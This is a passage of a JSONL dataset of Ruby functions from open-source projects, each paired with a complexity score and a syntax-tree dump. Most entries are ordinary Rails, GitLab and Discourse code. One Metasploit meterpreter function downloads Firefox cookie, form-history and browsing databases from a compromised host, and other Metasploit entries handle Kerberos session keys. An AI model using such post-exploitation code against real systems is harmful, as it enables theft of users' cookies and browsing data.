\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner_sanitized\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"smtp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[null,\"banner\"]}]}]}]}]}]}","id":"f2e33567-d2f9-4f00-9e0b-fe1db5b4555e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/authorization/query_transformations_order.rb","start_line":54,"raw_source":"def merge_transformation_partial_orders(partial_orders)\n    desired_order = []\n\n    until partial_orders.empty?\n      order = partial_orders.shift\n\n      shift_first_if_its_turn(order, partial_orders) do |first|\n        desired_order << first\n      end\n\n      partial_orders.push(order) unless order.empty?\n    end\n\n    desired_order\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_transformation_partial_orders\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partial_orders\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"desired_order\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partial_orders\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partial_orders\"]},\"shift\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shift_first_if_its_turn\",{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"partial_orders\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired_order\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partial_orders\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"desired_order\"]}]}]}","id":"ace6e609-291e-454f-8030-053a66e1ada9"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/presence_validation_test.rb","start_line":50,"raw_source":"def test_validates_presence_of_for_ruby_class\n    Person.validates_presence_of :karma\n\n    p = Person.new\n    assert_predicate p, :invalid?\n\n    assert_equal [\"can't be blank\"], p.errors[:karma]\n\n    p.karma = \"Cold\"\n    assert_predicate p, :valid?\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_presence_of_for_ruby_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"validates_presence_of\",{\"type\":\"sym\",\"children\":[\"karma\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"can't be blank\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"karma\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"karma=\",{\"type\":\"str\",\"children\":[\"Cold\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"e0b6c438-d9cc-4113-a847-6423d280f7f2"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/client_test.rb","start_line":273,"raw_source":"def test_unsubscribe_client\n    with_puma_server do |port|\n      app = ActionCable.server\n      identifier = JSON.generate(channel: \"ClientTest::EchoChannel\")\n\n      c = websocket_client(port)\n      assert_equal({ \"type\" => \"welcome\" }, c.read_message)\n      c.send_message command: \"subscribe\", identifier: identifier\n      assert_equal({ \"identifier\" => \"{\\\"channel\\\":\\\"ClientTest::EchoChannel\\\"}\", \"type\" => \"confirm_subscription\" }, c.read_message)\n      assert_equal(1, app.connections.count)\n\n      subscriptions = app.connections.first.subscriptions.send(:subscriptions)\n      assert_not_equal 0, subscriptions.size, \"Missing EchoChannel subscription\"\n      channel = subscriptions.first[1]\n      assert_called(channel, :unsubscribed) do\n        c.close\n        sleep 0.1 # Data takes a moment to process\n      end\n\n      # All data is removed: No more connection or subscription information!\n      assert_equal(0, app.connections.count)\n    end\n  end","complexity_score":46.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unsubscribe_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_puma_server\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"server\"]}]},{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"generate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"str\",\"children\":[\"ClientTest::EchoChannel\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[null,\"websocket_client\",{\"type\":\"lvar\",\"children\":[\"port\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"welcome\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"read_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"send_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"str\",\"children\":[\"subscribe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"{\\\"channel\\\":\\\"ClientTest::EchoChannel\\\"}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"confirm_subscription\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"read_message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"connections\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriptions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"connections\"]},\"first\"]},\"subscriptions\"]},\"send\",{\"type\":\"sym\",\"children\":[\"subscriptions\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"size\"]},{\"type\":\"str\",\"children\":[\"Missing EchoChannel subscription\"]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"first\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"sym\",\"children\":[\"unsubscribed\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"connections\"]},\"count\"]}]}]}]}]}","id":"0d7e4d5c-0b5e-4017-a82f-54c12ac2b9f4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/receiver.rb","start_line":1589,"raw_source":"def self.elided_html(elided)\n      html = +\"\\n\\n\" << \"<details class='elided'>\" << \"\\n\"\n      html << \"<summary title='#{I18n.t(\"emails.incoming.show_trimmed_content\")}'>&#183;&#183;&#183;</summary>\" <<\n        \"\\n\\n\"\n      html << elided << \"\\n\\n\"\n      html << \"</details>\" << \"\\n\"\n      html\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"elided_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"elided\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\\n\"]},\"+@\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<details class='elided'>\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<summary title='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"emails.incoming.show_trimmed_content\"]}]}]},{\"type\":\"str\",\"children\":[\"'>&#183;&#183;&#183;</summary>\"]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"elided\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</details>\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}","id":"ce5f4b38-e60d-4446-84b4-b4aeb5ea9bc8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/graphql_controller.rb","start_line":171,"raw_source":"def disallow_mutations_for_get\n    return unless request.get? || request.head?\n    return unless any_mutating_query?\n\n    raise ::Gitlab::Graphql::Errors::ArgumentError, \"Mutations are forbidden in #{request.request_method} requests\"\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"disallow_mutations_for_get\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"get?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"head?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"any_mutating_query?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Mutations are forbidden in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"request_method\"]}]},{\"type\":\"str\",\"children\":[\" requests\"]}]}]}]}]}","id":"776418ca-f4fd-4a6a-b093-2cb8037a661a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/enum_firefox.rb","start_line":34,"raw_source":"def frfxplacesget(path,usrnm)\n  # Create the log\n  ::FileUtils.mkdir_p(@logs)\n  @client.fs.dir.foreach(path) {|x|\n    next if x =~ /^(\\.|\\.\\.)$/\n    fullpath = path + '\\\\' + x\n    if @client.fs.file.stat(fullpath).directory?\n      frfxplacesget(fullpath,usrnm)\n    elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i\n      dst = x\n      dst = @logs + ::File::Separator + usrnm + dst\n      print_status(\"\\tDownloading Firefox Database file #{x} to '#{dst}'\")\n      @client.fs.file.download_file(dst, fullpath)\n    end\n  }\n\nend","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"frfxplacesget\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"usrnm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"FileUtils\"]},\"mkdir_p\",{\"type\":\"ivar\",\"children\":[\"@logs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"fs\"]},\"dir\"]},\"foreach\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\\\\.|\\\\.\\\\.)$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"fullpath\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"fs\"]},\"file\"]},\"stat\",{\"type\":\"lvar\",\"children\":[\"fullpath\"]}]},\"directory?\"]},{\"type\":\"send\",\"children\":[null,\"frfxplacesget\",{\"type\":\"lvar\",\"children\":[\"fullpath\"]},{\"type\":\"lvar\",\"children\":[\"usrnm\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullpath\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dst\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dst\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logs\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"Separator\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"usrnm\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"dst\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tDownloading Firefox Database file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"str\",\"children\":[\" to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dst\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"fs\"]},\"file\"]},\"download_file\",{\"type\":\"lvar\",\"children\":[\"dst\"]},{\"type\":\"lvar\",\"children\":[\"fullpath\"]}]}]},null]}]}]}]}]}]}","id":"8b50c2b3-7083-40d7-a079-83874955e9cc"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/assertions/response_assertions_test.rb","start_line":140,"raw_source":"def test_error_message_shows_rescued_exception\n        @response = ActionDispatch::Response.new\n        @response.status = 500\n\n        @request = ActionDispatch::Request.new(\"action_dispatch.exception\" => RuntimeError.new(\"example error\"))\n\n        error = assert_raises(Minitest::Assertion) { assert_response 200 }\n        expected = \"Expected response to be a <200: OK>,\"\\\n                   \" but was a <500: Internal Server Error>\\n\\n\"\\\n                   \"Exception while processing request: RuntimeError: example error\\n\"\n        assert_match expected, error.message\n      end","complexity_score":14.08,"ast_json":"{\"type\":\"def\",\"children\":[\"test_error_message_shows_rescued_exception\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Response\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"status=\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_dispatch.exception\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},\"new\",{\"type\":\"str\",\"children\":[\"example error\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"int\",\"children\":[200]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected response to be a <200: OK>,\"]},{\"type\":\"str\",\"children\":[\" but was a <500: Internal Server Error>\\n\\n\"]},{\"type\":\"str\",\"children\":[\"Exception while processing request: RuntimeError: example error\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"7f3e4302-59c6-42d8-be47-a8822afd8752"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/kerberos/client/as_response.rb","start_line":36,"raw_source":"def extract_session_key(res, key)\n              kdc_res = decrypt_kdc_as_rep_enc_part(res, key)\n              kdc_res.key\n            end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_session_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"kdc_res\",{\"type\":\"send\",\"children\":[null,\"decrypt_kdc_as_rep_enc_part\",{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kdc_res\"]},\"key\"]}]}]}","id":"476b192c-a4ac-4c32-90e2-442a12000d5c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule_worker/scheduler.rb","start_line":29,"raw_source":"def schedule_cron(name, cronline, opts = {}, &block)\n      log_schedule(name, opts.merge(:cronline => cronline))\n\n      role_schedule << rufus_scheduler.schedule_cron(cronline, nil, opts, &block)\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_cron\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"cronline\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_schedule\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cronline\"]},{\"type\":\"lvar\",\"children\":[\"cronline\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role_schedule\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rufus_scheduler\"]},\"schedule_cron\",{\"type\":\"lvar\",\"children\":[\"cronline\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"3a7de30b-2a0b-43fe-beb6-e2bd4f41824c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transactions_test.rb","start_line":436,"raw_source":"def test_raise_after_destroy\n    assert_not_predicate @first, :frozen?\n\n    assert_raises(RuntimeError) do\n      Topic.transaction do\n        @first.destroy\n        assert_predicate @first, :frozen?\n        raise\n      end\n    end\n\n    assert_not_predicate @first, :frozen?\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raise_after_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"ivar\",\"children\":[\"@first\"]},{\"type\":\"sym\",\"children\":[\"frozen?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@first\"]},{\"type\":\"sym\",\"children\":[\"frozen?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"ivar\",\"children\":[\"@first\"]},{\"type\":\"sym\",\"children\":[\"frozen?\"]}]}]}]}","id":"ccf43591-f374-4575-aad2-551affff8776"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/ap_req.rb","start_line":63,"raw_source":"def encode_pvno\n            bn = OpenSSL::BN.new(pvno.to_s)\n            int = OpenSSL::ASN1::Integer.new(bn)\n\n            int\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_pvno\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pvno\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bn\"]}]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}","id":"5e2cfb98-c439-4cb5-bc27-b07f5f7ea756"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/navbar_structure_helper.rb","start_line":4,"raw_source":"def insert_after_nav_item(before_nav_item_name, new_nav_item:)\n    expect(structure).to include(a_hash_including(nav_item: before_nav_item_name))\n\n    index = structure.find_index { |h| h[:nav_item] == before_nav_item_name if h }\n    structure.insert(index + 1, new_nav_item)\n  end","complexity_score":19.05,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_after_nav_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"before_nav_item_name\"]},{\"type\":\"kwarg\",\"children\":[\"new_nav_item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"structure\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[null,\"a_hash_including\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nav_item\"]},{\"type\":\"lvar\",\"children\":[\"before_nav_item_name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"structure\"]},\"find_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nav_item\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"before_nav_item_name\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"structure\"]},\"insert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"new_nav_item\"]}]}]}]}","id":"16485a25-a99b-4943-9cd0-7f7cd9ede1a0"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/ahoy/email_clicks_controller.rb","start_line":21,"raw_source":"def verify_signature\n      @token = ahoy_params[:t].to_s\n      @campaign = ahoy_params[:c].to_s\n      @url = ahoy_params[:u].to_s\n      @signature = ahoy_params[:s].to_s\n      expected_signature = AhoyEmail::Utils.signature(token: @token, campaign: @campaign, url: @url)\n\n      return if ActiveSupport::SecurityUtils.secure_compare(@signature, expected_signature)\n\n      render plain: \"Invalid signature\", status: :forbidden\n    